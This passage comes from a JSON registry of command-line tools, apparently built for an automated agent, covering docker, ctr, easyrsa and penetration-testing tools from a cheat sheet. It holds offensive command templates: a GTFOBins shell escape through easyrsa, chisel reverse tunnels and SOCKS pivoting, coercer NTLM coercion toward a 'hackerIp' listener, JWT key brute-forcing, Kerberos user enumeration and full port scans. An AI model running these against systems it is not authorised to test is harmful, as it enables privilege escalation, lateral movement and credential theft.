          "apt-get install -y containerd"
        ]
      }
    ],
    "name": "ctr",
    "namespace": "container:runc:ctr",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ctr/"
      }
    ],
    "related_tools": [
      "docker",
      "runc"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# Docker — Container Platform\n\nDocker is the industry-standard container platform that enables developers to package applications and their dependencies into lightweight, portable containers that run consistently across any environment.\n\n## Core Architecture\n\nDocker uses a client-server architecture:\n\n- **Docker Daemon** (`dockerd`): Background service managing containers, images, networks, and volumes\n- **Docker CLI** (`docker`): Command-line interface that communicates with the daemon via REST API\n- **Docker Registry**: Storage and distribution system for container images (default: Docker Hub)\n\n## Container Lifecycle\n\n```mermaid\nflowchart LR\n    A[Dockerfile] -->|docker build| B[Image]\n    B -->|docker push| C[Registry]\n    C -->|docker pull| B\n    B -->|docker run| D[Container]\n    D -->|docker stop| E[Stopped]\n    E -->|docker start| D\n    E -->|docker rm| F[Removed]\n```\n\n## Docker Compose\n\nFor multi-container applications, `docker compose` defines services, networks, and volumes in a YAML file:\n\n```yaml\n# docker-compose.yml\nversion: \"3.9\"\nservices:\n  web:\n    image: nginx:alpine\n    ports:\n      - \"80:80\"\n  database:\n    image: postgres:15\n    environment:\n      POSTGRES_DB: myapp\n      POSTGRES_PASSWORD: secret\n    volumes:\n      - db-data:/var/lib/postgresql/data\nvolumes:\n  db-data:\n```\n\n```bash\n# Start all services\ndocker compose up -d\n\n# View logs\ndocker compose logs -f\n\n# Tear down\ndocker compose down -v\n```\n\n## Security Best Practices\n\n- Never run containers with `--privileged` in production\n- Use read-only root filesystems (`--read-only`)\n- Drop unnecessary Linux capabilities (`--cap-drop ALL`)\n- Scan images for vulnerabilities (`docker scan` or Trivy)\n- Use distroless or scratch base images to reduce attack surface\n\n## Related Tools\n\n- **[podman](../../container/image/podman.md)** — Daemonless container engine (drop-in Docker replacement)\n- **[kubernetes](../../container/orchestration/kubernetes.md)** — Container orchestration platform\n- **[docker-compose](../../container/orchestration/docker-compose.md)** — Multi-container application definition\n",
    "_source": "docker.md",
    "allowed-tools": [
      "docker",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "container.image.oci",
        "description": "Built or pulled OCI container image",
        "mime": "application/vnd.oci.image.manifest.v1+json",
        "schema_version": "1.0.0",
        "trust_level": "verified"
      },
      {
        "type": "container.runtime.logs",
        "description": "Log output from container execution",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "container.runtime.execute",
      "container.image.build",
      "container.image.publish",
      "container.orchestration.compose",
      "container.storage.volume",
      "container.network.manage"
    ],
    "contract": {
      "inputs": [
        {
          "type": "container.image.dockerfile",
          "description": "Dockerfile for image build"
        },
        {
          "type": "container.image.oci",
          "description": "Base container image"
        }
      ],
      "outputs": [
        {
          "type": "container.image.oci",
          "description": "Built or pulled container image",
          "mime": "application/vnd.oci.image.manifest.v1+json"
        },
        {
          "type": "container.runtime.logs",
          "description": "Container execution logs",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 1024,
        "network": "high",
        "disk_io": "high"
      }
    },
    "dependencies": [],
    "description": "Container platform for developing, shipping, and running applications in isolated environments.",
    "examples": [
      {
        "description": "Run an interactive container",
        "command": "docker run -it --rm ubuntu:latest bash"
      },
      {
        "description": "Build an image from Dockerfile",
        "command": "docker build -t myapp:latest ."
      },
      {
        "description": "Run a web server with port mapping",
        "command": "docker run -d -p 80:80 --name web nginx:alpine"
      },
      {
        "description": "Execute command in running container",
        "command": "docker exec -it mycontainer ps aux"
      },
      {
        "description": "Darkiros UTILS: Remove docker image",
        "command": "docker image rm [image_id]"
      },
      {
        "description": "Darkiros UTILS: Delete an image from the local image store",
        "command": "docker rmi [image_id]"
      },
      {
        "description": "Darkiros UTILS: List all images that are locally stored with the Docker Engine",
        "command": "docker images"
      },
      {
        "description": "Darkiros UTILS: List all containers that are locally stored with the Docker Engine",
        "command": "docker ps -a"
      },
      {
        "description": "Darkiros UTILS: List all containers that are currently running",
        "command": "docker ps -q"
      },
      {
        "description": "Darkiros UTILS: Stop a running container",
        "command": "docker stop [container_id]"
      },
      {
        "description": "Darkiros UTILS: Stop all running containers",
        "command": "docker stop $(docker ps -a -q)"
      },
      {
        "description": "Darkiros UTILS: Build an image from the Dockerfile in the current directory and tag the image",
        "command": "docker build -t [image_name] ."
      },
      {
        "description": "Darkiros UTILS: Pull an image from a registry",
        "command": "docker pull [image_name]:[tag]"
      },
      {
        "description": "Darkiros UTILS: Create a new bash process inside the container and connect it to the terminal",
        "command": "docker exec -it [container_id] bash"
      },
      {
        "description": "Darkiros UTILS: Print the last lines of a container’s logs",
        "command": "docker logs --tail 100 [container_id] | less"
      },
      {
        "description": "Darkiros UTILS: Print the last lines of a container’s logs and follow",
        "command": "docker logs -f --tail 100 [container_id]"
      },
      {
        "description": "Darkiros UTILS: Create new network",
        "command": "docker network create [network_name]"
      },
      {
        "description": "Darkiros UTILS: List all networks",
        "command": "docker network ls"
      },
      {
        "description": "Darkiros UTILS: Builds, (re)creates, starts, and attaches to containers for all services",
        "command": "docker-compose up"
      },
      {
        "description": "Darkiros UTILS: Builds, (re)creates, starts, and dettaches to containers for all services",
        "command": "docker-compose up -d"
      },
      {
        "description": "Darkiros UTILS: Stops containers and removes containers, networks, volumes, and images created by up",
        "command": "docker-compose down"
      }
    ],
    "execution": {
      "template": "docker {config} {context} {debug} {host} {log-level}",
      "sandbox": "docker",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {
      "host": "ip"
    },
    "id": "container-runtime-docker",
    "install": [
      {
        "method": "apt",
        "package_name": "docker.io",
        "commands": [
          "apt-get install -y docker.io"
        ]
      },
      {
        "method": "brew",
        "package_name": "docker",
        "commands": [
          "brew install docker"
        ]
      }
    ],
    "name": "docker",
    "namespace": "container:runtime:docker",
    "parameters": [
      {
        "name": "config",
        "template_key": "config",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Location of client config files (default",
        "aliases": [
          "--config"
        ],
        "flag": "--config"
      },
      {
        "name": "context",
        "template_key": "context",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Name of the context to use to connect to the",
        "aliases": [
          "-c",
          "--context"
        ],
        "flag": "-c"
      },
      {
        "name": "debug",
        "template_key": "debug",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable debug mode",
        "aliases": [
          "-D",
          "--debug"
        ],
        "flag": "-D"
      },
      {
        "name": "host",
        "template_key": "host",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Daemon socket to connect to",
        "aliases": [
          "-H",
          "--host"
        ],
        "flag": "-H"
      },
      {
        "name": "log-level",
        "template_key": "log-level",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set the logging level (\"debug\", \"info\"",
        "aliases": [
          "-l",
          "--log-level"
        ],
        "flag": "-l"
      },
      {
        "name": "tls",
        "template_key": "tls",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use TLS; implied by --tlsverify",
        "aliases": [
          "--tls"
        ],
        "flag": "--tls"
      },
      {
        "name": "tlscacert",
        "template_key": "tlscacert",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Trust certs signed only by this CA (default",
        "aliases": [
          "--tlscacert"
        ],
        "flag": "--tlscacert"
      },
      {
        "name": "tlscert",
        "template_key": "tlscert",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Path to TLS certificate file (default",
        "aliases": [
          "--tlscert"
        ],
        "flag": "--tlscert"
      },
      {
        "name": "tlskey",
        "template_key": "tlskey",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Path to TLS key file (default",
        "aliases": [
          "--tlskey"
        ],
        "flag": "--tlskey"
      },
      {
        "name": "tlsverify",
        "template_key": "tlsverify",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use TLS and verify the remote",
        "aliases": [
          "--tlsverify"
        ],
        "flag": "--tlsverify"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print version information and quit",
        "aliases": [
          "-v",
          "--version"
        ],
        "flag": "-v"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "windows"
    ],
    "references": [
      {
        "label": "Docker documentation",
        "url": "https://docs.docker.com/"
      },
      {
        "label": "Dockerfile reference",
        "url": "https://docs.docker.com/engine/reference/builder/"
      },
      {
        "label": "Docker CLI reference",
        "url": "https://docs.docker.com/engine/reference/commandline/cli/"
      }
    ],
    "related_tools": [
      "podman",
      "containerd",
      "nerdctl"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 1024,
      "network": "high",
      "disk_io": "high"
    },
    "risk_level": "medium",
    "techniques": [
      "command-and-control",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "container-image",
        "container-logs"
      ],
      "consumes": [
        "dockerfile",
        "base-image"
      ]
    }
  },
  {
    "_body": "",
    "_source": "easyrsa.md",
    "allowed-tools": [
      "easyrsa",
      "openssl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Certificate authority management, can execute commands via openssl config.",
    "examples": [
      {
        "description": "Execute command via easyrsa with custom openssl",
        "command": "easyrsa --vars=<(echo 'set_var EASYRSA_OPENSSL /bin/sh')"
      }
    ],
    "execution": {
      "template": "easyrsa --vars=<(echo 'set_var EASYRSA_OPENSSL /bin/sh')",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "crypto-pki-easyrsa",
    "install": [
      {
        "method": "apt",
        "package_name": "easy-rsa",
        "commands": [
          "apt-get install -y easy-rsa"
        ]
      }
    ],
    "name": "easyrsa",
    "namespace": "crypto:pki:easyrsa",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/easyrsa/"
      }
    ],
    "related_tools": [
      "openssl"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# chisel\n\nDarkiros cheat sheet commands:\n\n**chisel server (server on local machine)**\n```\nchisel server -p [port] --reverse\n```\n\n**chisel reverse port forwarding (client on remote machine) - forward client port on server**\n```\nchisel client -v [server_ip]:[server_port] R:[serverside_port]:[clientside_host|localhost]:[clientside_port]\n```\n\n**chisel remote port forwarding (client on remote machine) - forward server port on client**\n```\nchisel client -v [server_ip]:[server_port|8000] [clientside_host|0.0.0.0]:[clientside_port]:[serverside_host|127.0.0.1]:[serverside_port]\n```\n\n**chisel socks proxy (client on remote machine)**\n```\nchisel client [server_ip]:[server_port] R:socks\n```\n",
    "_source": "darkiros-chisel.md",
    "capabilities": [
      "network.pivot.generic"
    ],
    "description": "chisel server (server on local machine)",
    "examples": [
      {
        "description": "chisel server (server on local machine)",
        "command": "chisel server -p [port] --reverse"
      },
      {
        "description": "chisel reverse port forwarding (client on remote machine) - forward client port on server",
        "command": "chisel client -v [server_ip]:[server_port] R:[serverside_port]:[clientside_host|localhost]:[clientside_port]"
      },
      {
        "description": "chisel remote port forwarding (client on remote machine) - forward server port on client",
        "command": "chisel client -v [server_ip]:[server_port|8000] [clientside_host|0.0.0.0]:[clientside_port]:[serverside_host|127.0.0.1]:[serverside_port]"
      },
      {
        "description": "chisel socks proxy (client on remote machine)",
        "command": "chisel client [server_ip]:[server_port] R:socks"
      }
    ],
    "execution": {
      "template": "chisel",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "local",
      "network-intensive",
      "remote"
    ],
    "id": "darkiros-chisel",
    "items": [
      "NoCreds"
    ],
    "name": "chisel",
    "namespace": "darkiros:tool:chisel",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/jpillora/chisel"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "HTTP",
      "HTTPS",
      "RPC",
      "SMB"
    ],
    "techniques": [
      "lateral-movement"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# coercer\n\nDarkiros cheat sheet commands:\n\n**Coercer - list vulns**\n```\ncoercer.py -d '[domain]' -u '[user]' -p '[password]' --listener [hackerIp] [targetIp]\n```\n\n**Coercer - webdav**\n```\ncoercer.py -d '[domain]' -u '[user]' -p '[password]' --webdav-host '[responder-machine-name]' [target-ip]\n```\n\n**Coercer - list vulns many targets**\n```\ncoercer.py -d '[domain]' -u '[user]' -p '[password]' --listener [hacker-ip] --target-file [target-file]\n```\n",
    "_source": "darkiros-coercer.md",
    "capabilities": [
      "credential.discovery.reconnaissance"
    ],
    "description": "Coercer - list vulns",
    "examples": [
      {
        "description": "Coercer - list vulns",
        "command": "coercer.py -d '[domain]' -u '[user]' -p '[password]' --listener [hackerIp] [targetIp]"
      },
      {
        "description": "Coercer - webdav",
        "command": "coercer.py -d '[domain]' -u '[user]' -p '[password]' --webdav-host '[responder-machine-name]' [target-ip]"
      },
      {
        "description": "Coercer - list vulns many targets",
        "command": "coercer.py -d '[domain]' -u '[user]' -p '[password]' --listener [hacker-ip] --target-file [target-file]"
      }
    ],
    "execution": {
      "template": "coercer",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdout"
    ],
    "id": "darkiros-coercer",
    "items": [
      "Hash"
    ],
    "name": "coercer",
    "namespace": "darkiros:tool:coercer",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/p0dalirius/Coercer"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "SMB",
      "RPC"
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# drupwn\n\nDarkiros cheat sheet commands:\n\n**Scan drupal web site with drupwn**\n```\ndrupwn --users --nodes --modules --dfiles --themes enum [url]\n```\n",
    "_source": "darkiros-drupwn.md",
    "capabilities": [
      "credential.discovery.reconnaissance"
    ],
    "description": "Scan drupal web site with drupwn",
    "examples": [
      {
        "description": "Scan drupal web site with drupwn",
        "command": "drupwn --users --nodes --modules --dfiles --themes enum [url]"
      }
    ],
    "execution": {
      "template": "drupwn",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "darkiros-drupwn",
    "items": [
      "NoCreds"
    ],
    "name": "drupwn",
    "namespace": "darkiros:tool:drupwn",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/immunIT/drupwn"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "HTTP",
      "HTTPS"
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# ffuf\n\nDarkiros cheat sheet commands:\n\n**Fuzz a web site with ffuf with classic extensions**\n```\nffuf -u [url]/FUZZ -w [wordlist]\n```\n\n**Fuzz a web site with ffuf with a custom header and response size and code filter**\n```\nffuf -u [url]/FUZZ -w [wordlist] -H 'Cookie: [cookie]' -fs [size] -fc [code]\n```\n\n**Fuzz a web site with ffuf with a post data**\n```\nffuf -u [url] -w [wordlist] -X POST -d '[data]'\n```\n",
    "_source": "darkiros-ffuf.md",
    "capabilities": [
      "security.execution.fuzzing"
    ],
    "description": "Fuzz a web site with ffuf with classic extensions",
    "examples": [
      {
        "description": "Fuzz a web site with ffuf with classic extensions",
        "command": "ffuf -u [url]/FUZZ -w [wordlist]"
      },
      {
        "description": "Fuzz a web site with ffuf with a custom header and response size and code filter",
        "command": "ffuf -u [url]/FUZZ -w [wordlist] -H 'Cookie: [cookie]' -fs [size] -fc [code]"
      },
      {
        "description": "Fuzz a web site with ffuf with a post data",
        "command": "ffuf -u [url] -w [wordlist] -X POST -d '[data]'"
      }
    ],
    "execution": {
      "template": "ffuf",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "darkiros-ffuf",
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1595"
    ],
    "name": "ffuf",
    "namespace": "darkiros:tool:ffuf",
    "parameters": [
      {
        "name": "auto-calibration",
        "template_key": "auto-calibration",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Auto-calibrate filtering",
        "aliases": [
          "-ac"
        ],
        "flag": "-ac"
      },
      {
        "name": "data",
        "template_key": "data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "POST request body",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "e",
        "type": "boolean",
        "required": false,
        "description": "File extension to append",
        "aliases": [
          "-e",
          "--extension"
        ],
        "flag": "-e"
      },
      {
        "name": "filter-code",
        "template_key": "filter-code",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Filter by HTTP status codes",
        "aliases": [
          "-fc"
        ],
        "flag": "-fc"
      },
      {
        "name": "filter-lines",
        "template_key": "filter-lines",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Filter by line count",
        "aliases": [
          "-fl"
        ],
        "flag": "-fl"
      },
      {
        "name": "filter-size",
        "template_key": "filter-size",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Filter by response size",
        "aliases": [
          "-fs"
        ],
        "flag": "-fs"
      },
      {
        "name": "filter-words",
        "template_key": "filter-words",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Filter by word count",
        "aliases": [
          "-fw"
        ],
        "flag": "-fw"
      },
      {
        "name": "follow-redirect",
        "template_key": "follow-redirect",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Follow HTTP redirects",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom HTTP headers",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "method",
        "template_key": "method",
        "type": "string",
        "required": false,
        "default_value": "GET",
        "description": "HTTP method (GET, POST, PUT, etc.)",
        "aliases": [
          "-X"
        ],
        "flag": "-X"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Output file path",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "output-format",
        "template_key": "output-format",
        "type": "string",
        "required": false,
        "default_value": "json",
        "description": "Output format: json, csv, html, md",
        "aliases": [
          "-of"
        ],
        "flag": "-of"
      },
      {
        "name": "output_format",
        "type": "boolean",
        "required": false,
        "description": "Output format (json, csv, html, md)",
        "aliases": [
          "--output-format"
        ],
        "flag": "--output-format"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Proxy URL",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "recursion",
        "template_key": "recursion",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable recursion",
        "aliases": [
          "-recursion"
        ],
        "flag": "-recursion"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "Silent mode",
        "aliases": [
          "-s",
          "--silent"
        ],
        "flag": "-s"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 40,
        "description": "Number of concurrent threads",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL with FUZZ keyword",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "wordlist",
        "template_key": "wordlist",
        "type": "file",
        "required": true,
        "default_value": null,
        "description": "Path to wordlist file",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/ffuf/ffuf"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "HTTP",
      "HTTPS"
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# gobuster\n\nDarkiros cheat sheet commands:\n\n**Fuzz a web site with gobuster with classic extensions**\n```\ngobuster dir -u [url] -w [wordlist] -x php,html,txt,xml,md [add_other] -o [outputfile]\n```\n",
    "_source": "darkiros-gobuster.md",
    "capabilities": [
      "security.execution.fuzzing"
    ],
    "description": "Fuzz a web site with gobuster with classic extensions",
    "examples": [
      {
        "description": "Fuzz a web site with gobuster with classic extensions",
        "command": "gobuster dir -u [url] -w [wordlist] -x php,html,txt,xml,md [add_other] -o [outputfile]"
      }
    ],
    "execution": {
      "template": "gobuster",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "darkiros-gobuster",
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1595",
      "T1046"
    ],
    "name": "gobuster",
    "namespace": "darkiros:tool:gobuster",
    "parameters": [
      {
        "name": "cookies",
        "template_key": "cookies",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Cookies to include in requests",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "domain",
        "template_key": "domain",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target domain (dns mode)",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "exclude_length",
        "type": "boolean",
        "required": false,
        "description": "Exclude results of given content length",
        "aliases": [
          "--exclude-length"
        ],
        "flag": "--exclude-length"
      },
      {
        "name": "extensions",
        "template_key": "extensions",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File extensions to search (dir mode)",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom HTTP headers",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "insecure",
        "template_key": "insecure",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Skip TLS certificate verification",
        "aliases": [
          "-k"
        ],
        "flag": "-k"
      },
      {
        "name": "mode",
        "template_key": "mode",
        "type": "string",
        "required": true,
        "default_value": "dir",
        "description": "Mode: dir, dns, vhost, s3",
        "aliases": []
      },
      {
        "name": "no-redirect",
        "template_key": "no-redirect",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Do not follow redirects",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Output file path",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Quiet mode (no banner or progress)",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "Follow HTTP redirects",
        "aliases": [
          "-r",
          "--follow-redirect"
        ],
        "flag": "-r"
      },
      {
        "name": "status-codes",
        "template_key": "status-codes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Status codes to include (positive)",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "Number of concurrent threads",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "timeout",
        "template_key": "timeout",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "HTTP request timeout in seconds",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target URL (dir, vhost modes)",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "wildcard",
        "template_key": "wildcard",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Force wildcard detection",
        "aliases": [
          "--wildcard"
        ],
        "flag": "--wildcard"
      },
      {
        "name": "wordlist",
        "template_key": "wordlist",
        "type": "file",
        "required": true,
        "default_value": null,
        "description": "Path to wordlist file",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "z",
        "type": "boolean",
        "required": false,
        "description": "Do not display progress",
        "aliases": [
          "-z",
          "--no-progress"
        ],
        "flag": "-z"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/OJ/gobuster"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "HTTP",
      "HTTPS",
      "DNS"
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# JwtTool\n\nDarkiros cheat sheet commands:\n\n**Bruteforce a JWT token key**\n```\npython3 jwt_tool.py -d [wordlist] [token]\n```\n\n**JWT tool perform all test on a token**\n```\npython3 jwt_tool.py -M at -t \\\"[url]\\\" -rh \\\"Authorization: Bearer [JWT_Token]\\\" -rh \\\"[other_header]\\\" -rc \\\"[cookies]\\\"\n```\n",
    "_source": "darkiros-jwttool.md",
    "capabilities": [
      "credential.discovery.reconnaissance"
    ],
    "description": "Bruteforce a JWT token key",
    "examples": [
      {
        "description": "Bruteforce a JWT token key",
        "command": "python3 jwt_tool.py -d [wordlist] [token]"
      },
      {
        "description": "JWT tool perform all test on a token",
        "command": "python3 jwt_tool.py -M at -t \\\"[url]\\\" -rh \\\"Authorization: Bearer [JWT_Token]\\\" -rh \\\"[other_header]\\\" -rc \\\"[cookies]\\\""
      }
    ],
    "execution": {
      "template": "jwttool",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "darkiros-jwttool",
    "items": [
      "Password"
    ],
    "name": "JwtTool",
    "namespace": "darkiros:tool:jwttool",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/ticarpi/jwt_tool"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "HTTP",
      "HTTPS"
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# kerbrute\n\nDarkiros cheat sheet commands:\n\n**kerbrute - kerberos user enumeration**\n```\nkerbrute userenum --dc [dc-ip] -d [domain] [user.txt]\n```\n",
    "_source": "darkiros-kerbrute.md",
    "capabilities": [
      "credential.bruteforce.generic"
    ],
    "description": "kerbrute - kerberos user enumeration",
    "examples": [
      {
        "description": "kerbrute - kerberos user enumeration",
        "command": "kerbrute userenum --dc [dc-ip] -d [domain] [user.txt]"
      }
    ],
    "execution": {
      "template": "kerbrute",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "darkiros-kerbrute",
    "items": [
      "NoCreds",
      "Password"
    ],
    "name": "kerbrute",
    "namespace": "darkiros:tool:kerbrute",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/ropnop/kerbrute"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "Kerberos"
    ],
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# masscan\n\nDarkiros cheat sheet commands:\n\n**masscan - scan all port**\n```\nmasscan -p1-65535 [ip] -e [interface] --rate 1000\n```\n",
    "_source": "darkiros-masscan.md",
    "capabilities": [
      "credential.discovery.reconnaissance"
    ],
    "description": "masscan - scan all port",
    "examples": [
      {
        "description": "masscan - scan all port",
        "command": "masscan -p1-65535 [ip] -e [interface] --rate 1000"
      }
    ],
    "execution": {
      "template": "masscan",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
